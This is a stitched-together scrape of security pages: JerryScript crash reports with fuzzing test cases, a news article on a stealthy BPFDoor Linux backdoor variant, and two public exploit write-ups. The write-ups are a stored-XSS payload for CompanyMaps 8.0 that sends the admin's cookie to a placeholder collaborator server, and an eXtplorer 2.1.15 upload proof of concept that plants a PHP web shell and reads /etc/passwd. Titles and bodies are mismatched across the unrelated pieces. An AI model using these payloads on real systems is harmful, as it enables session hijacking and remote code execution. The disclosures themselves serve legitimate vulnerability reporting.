    #10 0x082d6b83 in vm_execute (frame_ctx_p=0xffdc12c0)
        at /jerryscript/jerry-core/vm/vm.c:5211
    #11 0x082d4f62 in vm_run (shared_p=0xffdc13d0, this_binding_value=4118822019,                                                                                                                                                                                                                                        
        lex_env_p=0xf56007b0)                                                    
        at /jerryscript/jerry-core/vm/vm.c:5312
    #12 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>, 
        function_object_p=<optimized out>)
        at /jerryscript/jerry-core/vm/vm.c:286
    #13 0x0812a4e5 in jerry_run (script=4114614595)
        at /jerryscript/jerry-core/api/jerryscript.c:548                                                                                                                                                                                                                                    
    #14 0x083eac3f in jerryx_source_exec_script (
        path_p=0xffdc21e7 "poc.js")                                                                                                                                                                                                                              
        at /jerryscript/jerry-ext/util/sources.c:68
    #15 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
        at /jerryscript/jerry-main/main-desktop.c:156                                                                                                                                                                                                                                       
    (gdb) quit                                                                   
    

credits: @EJueon, @Ye0nny of the seclab-yonsei.

CVE-2023-31921: Assertion 'dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high' failed at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c(ecma_big_uint_div_mod) · Issue #5068 · jerryscript-

Jerryscript 3.0 *commit 1a2c047) was discovered to contain an Assertion Failure via the component parser_parse_class at jerry-core/parser/js/js-parser-expr.c.

**JerryScript revision**

Commit: 1a2c047  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
class v0 { v1 \= class v2 {  } }

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context\_p->scope\_stack\_size == PARSER\_MAXIMUM\_DEPTH\_OF\_SCOPE\_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser\_parse\_class):1068.
Error: JERRY\_FATAL\_FAILED\_ASSERTION
Aborted

Credits:  
@Ye0nny, @EJueon of the seclab-yonsei.

CVE-2023-31913: Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068. · Issue #5061 · jerryscript-project

A previously undocumented and mostly undetected variant of a Linux backdoor called BPFDoor has been spotted in the wild, cybersecurity firm Deep Instinct said in a technical report published this week.
"BPFDoor retains its reputation as an extremely stealthy and difficult-to-detect malware with this latest iteration," security researchers Shaul Vilkomir-Preisman and Eliran Nissan said.
BPFDoor (

A previously undocumented and mostly undetected variant of a Linux backdoor called **BPFDoor** has been spotted in the wild, cybersecurity firm Deep Instinct said in a technical report published this week.

"BPFDoor retains its reputation as an extremely stealthy and difficult-to-detect malware with this latest iteration," security researchers Shaul Vilkomir-Preisman and Eliran Nissan said.

BPFDoor (aka JustForFun), first documented by PwC and Elastic Security Labs in May 2022, is a passive Linux backdoor associated with a Chinese threat actor called Red Menshen (aka DecisiveArchitect or Red Dev 18), which is known to single out telecom providers across the Middle East and Asia since at least 2021.

The malware is specifically geared towards establishing persistent remote access to compromised target environments for extended periods of time, with evidence pointing to the hacking crew operating the backdoor undetected for years.

BPFDoor gets its name from the use of Berkeley Packet Filters (BPF) – a technology that makes it possible to analyze and filter network traffic in Linux systems – for network communications and process incoming commands.

In doing so, threat actors can penetrate a victim's system and execute arbitrary code without being detected by firewalls, while simultaneously filtering out unnecessary data.

Deep Instinct's findings come from a BPFDoor artifact that was uploaded to VirusTotal on February 8, 2023. As of writing, only three security vendors have flagged the ELF binary as malicious.

One of the key characteristics that make the new version of BPFDoor even more evasive is its removal of many hard-coded indicators and instead incorporating a static library for encryption (libtomcrypt) and a reverse shell for command-and-control (C2) communication.

Upon launch, BPFDoor is configured to ignore various operating system signals to prevent it from being terminated. It then allocates a memory buffer and creates a special packet sniffing socket that monitors for incoming traffic with a specific Magic Byte sequence by hooking a BPF filter onto the raw socket.

"When BPFdoor finds a packet containing its Magic Bytes in the filtered traffic, it will treat it as a message from its operator and will parse out two fields and will again fork itself," the researchers explained.

"The parent process will continue and monitor the filtered traffic coming through the socket while the child will treat the previously parsed fields as a command-and-control IP-Port combination and will attempt to contact it."

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In the final stage, BPFDoor sets up an encrypted reverse shell session with the C2 server and awaits further instructions to be executed on the compromised machine.

The fact that BPFDoor has remained hidden for a long duration speaks to its sophistication, what with threat actors increasingly developing malware targeting Linux systems owing to their prevalence in enterprise and cloud environments.

The development comes as Google announced a new extended Berkeley Packet Filter (eBPF) fuzzing framework called Buzzer to help harden the Linux kernel and ensure that sandboxed programs that run in a privileged context are valid and safe.

The tech giant further said the testing method led to the discovery of a security flaw (CVE-2023-2163) that could be exploited to achieve arbitrary reading and writing of kernel memory.

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New Variant of Linux Backdoor BPFDoor Uncovered After Years of Staying Under the Radar

Cross Site Scripting vulnerability found in Maximilian Vogt cmaps v.8.0 allows a remote attacker to execute arbitrary code via the auditlog tab in the admin panel.

    # Exploit Title: Stored Cross Site Scripting# Google Dork:# Date: 27.04.2023# Exploit Author: Lucas Noki (0xPrototype)# Vendor Homepage: https://github.com/vogtmh# Software Link: https://github.com/vogtmh/cmaps# Version: 8.0# Tested on: Mac, Windows, Linux# CVE : CVE-2023-29983*Steps to reproduce:*1. Clone the repository and install the application2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameterIn a real world case you would need to wait for the admin to log into the application and open the auditlog tab.Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

CVE-2023-29983: CompanyMaps 8.0 Cross Site Scripting ≈ Packet Storm

eXtplorer 2.1.15 is vulnerable to Insecure Permissions. File upload in file manager allows uploading zip file containing php pages with arbitrary code executions.

**\# Title: eXtplorer 2.1.15 – Arbitrary File Upload Remote following Code Execution (Authenticated)  
**

Date: 2022-11-09  
Author: Francisco Marinho  
Vendor Homepage: http://extplorer.net/  
Software Link: http://extplorer.net/attachments/download/99/eXtplorer\_2.1.15.zip  
Version: 2.1.15  
Tested on: Linux

**\==========> POC <==========**

1- Login with your account  
2- Access the directory **/index.php**  
3- Create a home.php file containing <?php system($\_GET\[‘tristao’\]); ?>  
4- zip the file for home.zip  
5- Upload zip file for application  
6- Right click on the zip file home.zip and click extract file  
7- Go to http://exemple.com/home.php?tristao=id

  
Examples:  
**cat /etc/passwd**  
/index.php?tristao=c**at%20%20/etc/passwd**  
**cat ls -la**  
/index.php?tristao=**ls%20-la**

**Procedure**

http://tristaomarinho.com/home.php?tristao=id

http://tristaomarinho.com/home.php?tristao=ls%20-la

http://tristaomarinho.com/home.php?tristao=cat%20%20/etc/passwd

Tag

#linux